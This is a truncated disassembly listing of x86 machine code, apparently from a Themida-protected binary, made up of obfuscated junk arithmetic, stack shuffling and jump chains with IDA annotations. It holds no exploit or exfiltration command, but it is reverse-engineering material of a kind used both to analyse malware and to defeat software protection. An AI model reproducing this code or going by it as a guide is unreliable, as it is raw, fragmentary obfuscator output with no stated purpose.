--------------------------------------------------------------------------- loc_569C8C: ; CODE XREF: Themida_:005645E9j pop ebp mov edx, 4C866B8h xor edx, ebp jmp loc_560A57 ; --------------------------------------------------------------------------- loc_569C99: ; CODE XREF: Themida_:00563276j shr ecx, 5 push esi mov esi, 4F0E9F96h xor ecx, esi pop esi push ecx xor dword ptr [esp], 49B438Dh pop ebx xor ebx, 49B438Dh pop ecx or ebx, 49685B0Ch inc ebx neg ebx jmp loc_565D3A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_569CC3: ; CODE XREF: sub_56755A+4E0j sub al, ch jmp loc_56F912 ; --------------------------------------------------------------------------- loc_569CCA: ; CODE XREF: sub_56755A+BCCj push ebp mov ebp, 4D231B44h mov edx, ebp pop ebp mov edi, 4D674CB8h xor edi, edx pop edx xor edi, 7E56618Fh or ecx, edi pop edi jmp loc_56443C ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_569CE9: ; CODE XREF: Themida_:00564A78j sub esp, 4 mov [esp], eax push esp jmp loc_56A27E ; --------------------------------------------------------------------------- loc_569CF8: ; CODE XREF: Themida_:0055FD2Ej mov esp, [esp] xor [esp], eax pushf jmp loc_55B555 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_569D04: ; CODE XREF: sub_56755A+CE4j not esi jmp sub_565C4A ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_569D0B: ; CODE XREF: Themida_:0056E8E1j add esp, 4 push edx jmp loc_56AB41 ; --------------------------------------------------------------------------- loc_569D14: ; CODE XREF: Themida_:005697B6j mov ebx, 0FFFFFFFFh sub ebp, ebx pop ebx sub ebp, 0E0F2A169h sub edi, 2E9946EEh add edi, ebp add edi, 2E9946EEh push dword ptr [esp] pop ebp add esp, 4 xchg edi, [esp] pop esp dec word ptr [esp] pushf jmp loc_55B555 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561ED8 loc_569D45: ; CODE XREF: sub_561ED8+3880j xor al, bh mov ebx, [esp+0] add esp, 4 push edx mov dh, 43h dec dh jmp loc_56EC82 ; END OF FUNCTION CHUNK FOR sub_561ED8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_569D5A: ; CODE XREF: sub_56755A-BBDFj sub ecx, esi mov esi, [esp+8+var_8] add esp, 4 push 6665h mov [esp+8+var_8], ecx push [esp+8+var_4] pop ecx pop [esp+8+var_8] mov esp, [esp+4+var_4] jmp loc_56EFB1 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_569D7D: ; CODE XREF: Themida_:005636EAj add edx, 4 xchg edx, [esp] pop esp push 41D1h mov [esp], ebp push esi jmp loc_5690B6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_569D92: ; CODE XREF: sub_56755A+3497j push eax mov eax, edi jmp loc_56E252 ; --------------------------------------------------------------------------- loc_569D9A: ; CODE XREF: sub_56755A+9F9j mov ebx, ebp pop ebp jmp loc_55D0E4 ; --------------------------------------------------------------------------- loc_569DA2: ; CODE XREF: sub_56755A-3E87j add ebx, 0A31A2EE4h push ebx pop esi mov ebx, [esp+6+var_8+2] add esp, 4 or edi, esi pop esi sub edi, 428A08E1h xor edi, 80A96A87h jmp loc_56F15B ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_569DC4: ; CODE XREF: Themida_:0056E73Dj add esp, 4 jmp loc_5655E5 ; --------------------------------------------------------------------------- loc_569DCC: ; CODE XREF: Themida_:0056FDE0j sub edi, 3921B64h shr edi, 2 add edi, 47E53CB8h jmp loc_56BDCD ; --------------------------------------------------------------------------- lodsd sub eax, 6EE330E9h sub esp, 4 mov [esp], ecx mov ecx, 10D430D5h add eax, 2B4249E9h add eax, ecx jmp loc_560AB8 ; --------------------------------------------------------------------------- loc_569DFD: ; CODE XREF: Themida_:0056414Dj xchg eax, [esp] jmp loc_5665F6 ; --------------------------------------------------------------------------- loc_569E05: ; CODE XREF: Themida_:0056FE90j add ecx, edx mov edx, [esp] add esp, 4 push 32DAh mov [esp], ecx push dword ptr [esp+4] jmp loc_564A17 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D164 loc_569E21: ; CODE XREF: sub_56D164-63EDj add ebx, 665D265Ch add ebx, 9AA309B2h sub esi, ebx pop ebx xchg esi, [esp+8+var_8] pop esp mov [esp+4+var_4], esi sub esp, 4 mov [esp+8+var_8], ebp mov ebp, 7D35058Dh inc ebp jmp loc_56155F ; END OF FUNCTION CHUNK FOR sub_56D164 ; --------------------------------------------------------------------------- loc_569E48: ; CODE XREF: Themida_:0056D0DEj sub esp, 4 mov [esp], ecx jmp loc_56E8D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_569E56: ; CODE XREF: sub_56755A+A96j mov bh, ch pop ecx push edx mov dl, bh mov al, dl pop edx jmp loc_55BDB4 ; --------------------------------------------------------------------------- loc_569E64: ; CODE XREF: sub_56755A+620Fj pop ecx ; END OF FUNCTION CHUNK FOR sub_56755A ; =============== S U B R O U T I N E ======================================= sub_569E65 proc near ; CODE XREF: sub_56755A+24ADj ; sub_56755A+5B5Fj var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055B9F9 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005614DD SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00564089 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00564D83 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00568ADF SIZE 00000029 BYTES ; FUNCTION CHUNK AT 005701C0 SIZE 00000018 BYTES push ebx jmp loc_5701C0 sub_569E65 endp ; --------------------------------------------------------------------------- loc_569E6B: ; CODE XREF: Themida_:00569FC9j add esp, 4 push edi push esp pop edi jmp loc_567DBE ; --------------------------------------------------------------------------- loc_569E76: ; CODE XREF: Themida_:00560BE4j push dword ptr [esp] jmp loc_5683BB ; --------------------------------------------------------------------------- loc_569E7E: ; CODE XREF: Themida_:005669A7j pop edx push edi mov edi, 1EA36374h sub ecx, edi pop edi and ecx, 3F33242Fh push edx mov edx, 0F8FFDFE2h add ecx, edx pop edx mov ebp, ecx jmp loc_56B8B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D5AE loc_569E9E: ; CODE XREF: sub_56D5AE+179Cj pop ebx add ebp, 4 jmp loc_568DCD ; END OF FUNCTION CHUNK FOR sub_56D5AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_569EA7: ; CODE XREF: sub_56755A+3B98j pop eax jmp loc_567223 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_569EAD: ; CODE XREF: Themida_:00568BA0j push 1CFBh mov [esp], edx push ecx mov cl, 79h mov dh, 27h jmp loc_56164B ; --------------------------------------------------------------------------- loc_569EBF: ; CODE XREF: Themida_:0056CE8Bj sub ecx, 60BD2BC1h add ecx, ebp jmp loc_5601D6 ; --------------------------------------------------------------------------- loc_569ECC: ; CODE XREF: Themida_:00561B8Ej push edx sub esp, 4 mov [esp], edi jmp loc_567F74 ; --------------------------------------------------------------------------- loc_569ED8: ; CODE XREF: Themida_:00568FB8j add esp, 4 jmp loc_56C324 ; --------------------------------------------------------------------------- loc_569EE0: ; CODE XREF: Themida_:0055F4D8j add ecx, ebx add ecx, 1DA11D46h push dword ptr [esp] pop ebx add esp, 4 push eax mov eax, 549004B0h add ecx, 0F204463h add ecx, eax jmp loc_562866 ; --------------------------------------------------------------------------- loc_569F02: ; CODE XREF: Themida_:0056522Fj push ebp mov ebp, 8B412C61h add edi, ebp pop ebp add ebx, edi pop edi jmp loc_55F716 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CEC8 loc_569F13: ; CODE XREF: sub_56CEC8-DF19j push eax push edx jmp loc_56ECD2 ; END OF FUNCTION CHUNK FOR sub_56CEC8 ; --------------------------------------------------------------------------- loc_569F1A: ; CODE XREF: Themida_:00568E17j shl ecx, 1 not ecx jmp loc_567C18 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_569F23: ; CODE XREF: sub_56755A+37Aj pop eax push ebx jmp loc_561773 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_569F2A: ; CODE XREF: Themida_:005615A4j push ecx push 5FB4h mov [esp], ebx mov bl, dl mov dl, [esp+4] mov [esp+4], bl pop ebx not dl xor [esp], dl jmp loc_55CFCC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_569F48: ; CODE XREF: sub_56755A+2420j push [esp+6+var_8+2] pop edx jmp loc_570258 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- push 0 mov ebx, [esp] jmp loc_55DCC3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565269 loc_569F5E: ; CODE XREF: sub_565269-2635j pop esp and eax, esi push dword ptr [esp+0] push [esp+4+var_4] jmp loc_56BFA7 ; END OF FUNCTION CHUNK FOR sub_565269 ; --------------------------------------------------------------------------- loc_569F6C: ; CODE XREF: Themida_:0056E353j pop eax xchg ebx, [esp] jmp loc_55E08E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_569F75: ; CODE XREF: sub_56755A+6250j pop ecx push edx push eax mov ah, 65h mov dh, ah pop eax sub esp, 4 mov [esp+0Ah+var_C+2], ebx mov bh, 5Ah jmp loc_568714 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F653 loc_569F8A: ; CODE XREF: sub_56F653-10A32j pop ebp push 67CEh jmp loc_567138 ; END OF FUNCTION CHUNK FOR sub_56F653 ; --------------------------------------------------------------------------- loc_569F95: ; CODE XREF: Themida_:0055CEB2j sub ecx, 7C48D3B6h add ebp, ecx pop ecx push edi mov edi, 4 add ebp, edi mov edi, [esp] add esp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov ecx, [esp] jmp loc_56AF92 ; --------------------------------------------------------------------------- loc_569FC3: ; CODE XREF: Themida_:0056D330j push dword ptr [esp] mov ebp, [esp] jmp loc_569E6B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_569FCE: ; CODE XREF: sub_56755A+7443j add esp, 4 jmp loc_56EBBC ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_569FD6: ; CODE XREF: Themida_:00565E33j mov esi, 4 add ebp, esi mov esi, [esp] jmp loc_566BAE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_569FE5: ; CODE XREF: sub_56755A-BA83j xor bx, si push [esp+0Ch+var_C] mov esi, [esp+10h+var_10] add esp, 4 add esp, 4 xor ax, bx push [esp+8+var_8] pop ebx add esp, 4 push small 669Bh mov word ptr [esp+6+var_8+2], di push 7A55h mov [esp+0Ah+var_C+2], ecx mov cx, 0A8Ah jmp loc_567EA3 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56A01D: ; CODE XREF: Themida_:0056D091j pop esi jmp loc_562FE9 ; --------------------------------------------------------------------------- loc_56A023: ; CODE XREF: Themida_:005671A6j mov ebx, edx pop edx mov ecx, [esp] push eax mov eax, esp add eax, 4 push edx jmp loc_5601A9 ; --------------------------------------------------------------------------- loc_56A037: ; CODE XREF: Themida_:0056E4D5j pop esp or [esp], ax pushf jmp loc_55B555 ; --------------------------------------------------------------------------- loc_56A042: ; CODE XREF: Themida_:00562506j sub eax, ebx jmp loc_5626B7 ; --------------------------------------------------------------------------- loc_56A049: ; CODE XREF: Themida_:0055D98Ej push eax jmp loc_56114B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56EE26 loc_56A04F: ; CODE XREF: sub_56EE26-8855j mov edx, 6D6E0577h inc edx xor edx, 6D6E057Ch add ebp, edx pop edx push esi jmp loc_56C763 ; END OF FUNCTION CHUNK FOR sub_56EE26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A41 loc_56A064: ; CODE XREF: sub_563A41-5557j add esp, 4 jmp loc_568155 ; END OF FUNCTION CHUNK FOR sub_563A41 ; --------------------------------------------------------------------------- loc_56A06C: ; CODE XREF: Themida_:005705E4j add esp, 4 push edx push 2 jmp loc_56F449 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56A07A: ; CODE XREF: sub_56755A-5C6j mov edx, 5A2A4237h add [esp+10h+var_8], edx pop edx sub [esp+0Ch+var_8], eax jmp loc_56B3F6 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56026A loc_56A08D: ; CODE XREF: sub_56026A-16D3j add ebp, 190C256Dh pop edx jmp loc_564B18 ; END OF FUNCTION CHUNK FOR sub_56026A ; --------------------------------------------------------------------------- loc_56A099: ; CODE XREF: Themida_:0056564Fj add esp, 4 add ebx, eax push edx jmp loc_56232D ; --------------------------------------------------------------------------- loc_56A0A4: ; CODE XREF: Themida_:0056E30Aj mov [esp], eax push ebp jmp loc_56317D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560CAA loc_56A0AD: ; CODE XREF: sub_560CAA+34D1j push edi push 0F7537A7h pop edi add edi, 56FB09FEh jmp loc_560A0D ; END OF FUNCTION CHUNK FOR sub_560CAA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55CD7B loc_56A0BF: ; CODE XREF: sub_55CD7B+43AFj add edx, ebp push ecx jmp loc_55F4A7 ; END OF FUNCTION CHUNK FOR sub_55CD7B ; --------------------------------------------------------------------------- loc_56A0C7: ; CODE XREF: Themida_:0055B8E6j pop esi add edx, ebp mov ebp, [esp] add esp, 4 jmp loc_55B555 ; --------------------------------------------------------------------------- loc_56A0D5: ; CODE XREF: Themida_:005607B5j sub edx, 66F3430Dh add ecx, edx pop edx push esi mov esi, 48974682h or esi, 10296987h sub esi, 58BF6F83h sub ecx, 56906A26h sub ecx, esi add ecx, 56906A26h pop esi xchg ecx, [esp] mov esp, [esp] mov [esp], edx mov edx, 4 add ebp, edx push dword ptr [esp] pop edx push 76ACh jmp loc_565063 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A500 loc_56A11D: ; CODE XREF: sub_56A500+12C0j pop esi xchg edi, [esp+4+var_4] pop esp loc_56A122: ; CODE XREF: sub_56755A+8D5Dj push 0B97h mov [esp+4+var_4], edi push 48C2h push esp jmp loc_55CBDE ; END OF FUNCTION CHUNK FOR sub_56A500 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56A135: ; CODE XREF: sub_56755A-15D8j xchg edx, [esp+34h+var_34] mov esp, [esp+34h+var_34] mov [esp+34h+var_34], ebp jmp loc_5602B2 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56A143: ; CODE XREF: Themida_:0056BD0Bj sub dword ptr [esp+8], 5B013340h jmp loc_566B54 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55CD7B loc_56A150: ; CODE XREF: sub_55CD7B+35D7j xor esi, 6EAC30F7h xor esi, 129C56E6h jmp loc_561746 ; END OF FUNCTION CHUNK FOR sub_55CD7B ; =============== S U B R O U T I N E ======================================= sub_56A161 proc near ; CODE XREF: sub_56755A-1B02j var_4 = dword ptr -4 sub esp, 4 mov [esp+4+var_4], eax push esp pop eax jmp sub_56971C sub_56A161 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55F185 loc_56A171: ; CODE XREF: sub_55F185+FFA7j push esi not [esp+8+var_8] pop esi add esi, 0FFFFFFFFh not esi jmp loc_56C04D ; END OF FUNCTION CHUNK FOR sub_55F185 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56A180: ; CODE XREF: sub_56755A+5FC2j add esp, 4 jmp sub_566DC6 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566FBB loc_56A188: ; CODE XREF: sub_566FBB+844Ej sub ebp, 0FFFFFFFFh jmp sub_5664A8 ; END OF FUNCTION CHUNK FOR sub_566FBB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56A193: ; CODE XREF: sub_56755A+C5Cj pop eax pop [esp-18h+arg_14] pop esp add dl, ah pop ax push ecx push 567Ah mov [esp-1Ah+arg_14+2], ebx push ecx mov ch, 0D4h sub ch, 7Fh jmp loc_5698DD ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56A1B0: ; CODE XREF: Themida_:00560E7Fj not ecx jmp loc_56847F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56A1B7: ; CODE XREF: sub_56755A-4407j not [esp+12h+var_14+2] pop edx jmp loc_567A04 ; --------------------------------------------------------------------------- loc_56A1C0: ; CODE XREF: sub_56755A+6AF7j push [esp+0Eh+var_10+2] jmp loc_56125A ; --------------------------------------------------------------------------- loc_56A1C8: ; CODE XREF: sub_56755A-4ABFj mov esp, [esp-4+arg_0] jmp loc_567443 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56A1D0: ; CODE XREF: Themida_:00565AF5j push edx push 4BD38A3h pop edx xor edx, 2D7D1785h mov edi, edx pop edx and edi, 5317BF8h jmp loc_5682F5 ; --------------------------------------------------------------------------- loc_56A1EB: ; CODE XREF: Themida_:0055BB21j mov eax, esp add eax, 4 push ebx push ebp mov ebp, 35706207h mov ebx, 35706203h jmp loc_55F62B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56A203: ; CODE XREF: sub_56755A+33Dj add [esp-0Ch+arg_8], 4 pop eax add eax, 4 jmp loc_566CBD ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E75E loc_56A212: ; CODE XREF: sub_56E75E+83Cj pop esp jmp loc_5678E4 ; END OF FUNCTION CHUNK FOR sub_56E75E ; --------------------------------------------------------------------------- loc_56A218: ; CODE XREF: Themida_:0056DC9Fj and ebx, 51683C37h shr ebx, 4 add ebx, 0D0827D4h inc ebx jmp loc_55C988 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56A22D: ; CODE XREF: sub_56755A+182Ej sub [esp-10h+arg_C], 2E9B39CEh pop eax add eax, 2E9B39CEh pop edx sub eax, 7B712FAAh push eax pop edi push [esp-18h+arg_14] jmp loc_56D1D2 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56A24A: ; CODE XREF: Themida_:00562140j mov ebx, 37B26CFAh push esi mov esi, 0C84D9308h add ebx, esi jmp loc_56FE8C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566504 loc_56A25C: ; CODE XREF: sub_566504-472j add esi, 4 xchg esi, [esp-0Ch+arg_8] mov esp, [esp-0Ch+arg_8] sub esp, 4 mov [esp-8+arg_4], esi push edi mov edi, 32909F3h mov esi, edi jmp loc_56EEFE ; END OF FUNCTION CHUNK FOR sub_566504 ; --------------------------------------------------------------------------- loc_56A27E: ; CODE XREF: Themida_:00569CF3j push dword ptr [esp] pop eax jmp loc_56C228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56A287: ; CODE XREF: sub_56755A-38E8j mov esi, 4DE76BFAh dec esi dec esi not esi jmp loc_5680F3 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55DA88 loc_56A295: ; CODE XREF: sub_55DA88+12C1Aj xor ebp, 4B6E8DCEh sub ebx, ebp pop ebp sub eax, ebx jmp loc_570717 ; END OF FUNCTION CHUNK FOR sub_55DA88 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FE13 loc_56A2A5: ; CODE XREF: sub_55FE13+4714j neg dl add dl, 8Fh mov al, dl pop edx push edx mov dl, 41h push ecx jmp loc_563C4E ; END OF FUNCTION CHUNK FOR sub_55FE13 ; --------------------------------------------------------------------------- loc_56A2B6: ; CODE XREF: Themida_:005698ECj mov ecx, edi pop edi mov ebp, [esp] jmp loc_55EFC2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560DA7 loc_56A2C1: ; CODE XREF: sub_560DA7+ED82j add edi, eax sub edi, 277418AEh pop eax add edi, 4 xchg edi, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] add edi, 36037920h jmp loc_56772D ; END OF FUNCTION CHUNK FOR sub_560DA7 ; --------------------------------------------------------------------------- mov esp, [esp] jmp loc_55F049 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56A2E9: ; CODE XREF: sub_56755A+C32j mov [esp+16h+var_18+2], ebp mov ebp, 4 jmp loc_564EA0 ; --------------------------------------------------------------------------- loc_56A2F6: ; CODE XREF: sub_56755A+3FC9j pop eax mov ecx, [esp+12h+var_14+2] jmp loc_55FE4C ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- push dword ptr [esp+4] push dword ptr [esp] pop eax jmp loc_55FE0B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56A30C: ; CODE XREF: sub_56755A+A8Dj sub ebx, 6E284403h mov ebp, [esp-18h+arg_14] jmp loc_5631E2 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56A31A: ; CODE XREF: Themida_:00566173j mov edi, esp jmp loc_56C2C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CB7D loc_56A321: ; CODE XREF: sub_56CB7D-93AFj add esp, 4 xor [esp+10h+var_10], edx jmp loc_5675EF ; END OF FUNCTION CHUNK FOR sub_56CB7D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56A32F: ; CODE XREF: sub_56755A-637Aj mov ax, word ptr [esp+2Eh+var_30+2] push esi mov esi, esp add esi, 4 jmp loc_56117B ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56A341: ; CODE XREF: Themida_:0056C2E3j add ebx, 2CED07E7h sub esp, 4 jmp loc_564819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566504 loc_56A352: ; CODE XREF: sub_566504+DAFj push edx mov edx, 0AA35DCE8h xor esi, edx pop edx jmp loc_56ABB1 ; END OF FUNCTION CHUNK FOR sub_566504 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56A360: ; CODE XREF: sub_56755A+72D1j add esp, 4 jmp loc_56E601 ; --------------------------------------------------------------------------- loc_56A368: ; CODE XREF: sub_56755A+8A89j push [esp+2Eh+var_30+2] mov eax, [esp+32h+var_34+2] add esp, 4 add esp, 4 push ecx jmp loc_55E27A ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F7FC loc_56A37A: ; CODE XREF: sub_56F7FC-9B32j sub [esp-4+arg_4], ecx sub [esp-4+arg_4], 5F0D19CCh sub [esp-4+arg_4], 3AE1D2Ah pop ecx jmp loc_5665C1 ; END OF FUNCTION CHUNK FOR sub_56F7FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56A394: ; CODE XREF: sub_56755A-29j mov [esp+0Ch+var_C], esi jmp loc_56FDE5 ; --------------------------------------------------------------------------- loc_56A39C: ; CODE XREF: sub_56755A+77BAj xchg ecx, [esp+0Ch+var_C] pop esp mov ecx, esi jmp loc_5682E7 ; --------------------------------------------------------------------------- loc_56A3A7: ; CODE XREF: sub_56755A+6ABj add ecx, edi mov edi, [esp+28h+var_28] add esp, 4 push eax mov eax, 4 push edx mov edx, 52270219h sub ecx, edx pop edx jmp loc_55E95E ; --------------------------------------------------------------------------- loc_56A3C3: ; CODE XREF: sub_56755A-127j pop ecx jmp loc_565B4D ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5643BC loc_56A3C9: ; CODE XREF: sub_5643BC+AAFFj add ebx, ebp jmp loc_569C24 ; END OF FUNCTION CHUNK FOR sub_5643BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F653 loc_56A3D0: ; CODE XREF: sub_56F653-1187Fj mov cl, bh push eax mov al, cl mov dh, al pop eax mov ecx, [esp+0] add esp, 4 jmp loc_5688A5 ; END OF FUNCTION CHUNK FOR sub_56F653 ; --------------------------------------------------------------------------- loc_56A3E6: ; CODE XREF: Themida_:0055E9ABj add ebx, 4 xchg ebx, [esp] pop esp jmp loc_56C859 ; --------------------------------------------------------------------------- loc_56A3F5: ; CODE XREF: Themida_:00562A26j mov esp, [esp] push dword ptr [esp] mov edx, [esp] push eax mov eax, esp add eax, 4 push 5EF5h mov [esp], edi jmp loc_560EC8 ; --------------------------------------------------------------------------- loc_56A413: ; CODE XREF: Themida_:005664FFj xor esi, 5F12DF4h xor esi, 0DD52FE8h xor edx, esi pop esi shr edx, 4 push ebx mov ebx, 0 jmp loc_56BD28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_56A430: ; CODE XREF: sub_56E89A-F946j pop edi xor esi, [esp+8+var_8] xor [esp+8+var_8], esi jmp loc_570613 ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56A43C: ; CODE XREF: sub_56755A-59F4j sub ebx, 1ACE1A5Ch sub ebx, eax jmp loc_56D073 ; --------------------------------------------------------------------------- loc_56A449: ; CODE XREF: sub_56755A+1E09j mov eax, 4 add edx, eax jmp loc_55E491 ; --------------------------------------------------------------------------- loc_56A455: ; CODE XREF: sub_56755A-B0D4j push 9EA0D1Fh pop eax xor ecx, eax mov eax, [esp+16h+var_18+2] add esp, 4 jmp loc_5610F6 ; END OF FUNCTION CHUNK FOR sub_56755A ; =============== S U B R O U T I N E ======================================= sub_56A468 proc near ; CODE XREF: sub_56755A-8319j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055BCC5 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00562640 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00562DEB SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005638DB SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056AB12 SIZE 0000002F BYTES push ebx push dword ptr [esp+4] mov ebx, [esp+8+var_8] add esp, 4 pop [esp+4+var_4] not ebx jmp loc_55BCC5 sub_56A468 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_56A47D: ; CODE XREF: Themida_:00561B73j push 11767903h mov ecx, [esp] push ebp jmp loc_568DA6 ; --------------------------------------------------------------------------- loc_56A48B: ; CODE XREF: Themida_:0055D48Ej add esp, 4 add esi, 4 push ecx mov ecx, 4 add esi, 4DC1840h sub esi, ecx sub esi, 4DC1840h pop ecx push esi jmp loc_56D4B4 ; --------------------------------------------------------------------------- loc_56A4AF: ; CODE XREF: Themida_:005620FDj pop esp push 1E85h mov [esp], eax mov eax, 4 add ebx, eax push dword ptr [esp] pop eax push 4B94h mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 push ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] pop esp jmp loc_55BA8A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56A4F0: ; CODE XREF: sub_56755A-3B63j add eax, 37161B36h push edi mov edi, 1F05732h jmp loc_568C9C ; END OF FUNCTION CHUNK FOR sub_56755A ; =============== S U B R O U T I N E ======================================= sub_56A500 proc near ; CODE XREF: sub_562272-33F9j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055C3B3 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0055CBDE SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0055DD1C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005653C7 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056A11D SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0056ABFF SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056B7BE SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056BDE0 SIZE 0000003D BYTES sub esp, 4 jmp loc_56BDE0 sub_56A500 endp ; --------------------------------------------------------------------------- loc_56A50B: ; CODE XREF: Themida_:00567517j sub ebx, 8A5BFEDEh add esi, ebx pop ebx add edx, 201479FDh sub edx, 2DCE39FCh add edx, esi add edx, 2DCE39FCh sub edx, 201479FDh pop esi add edx, 2 push edx jmp loc_56F8E9 ; --------------------------------------------------------------------------- loc_56A538: ; CODE XREF: Themida_:00565066j mov esi, esp add esi, 4 push eax jmp loc_566AB2 ; --------------------------------------------------------------------------- loc_56A546: ; CODE XREF: Themida_:0056A63Ej xor ebx, 124E2919h jmp loc_5661CA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56A551: ; CODE 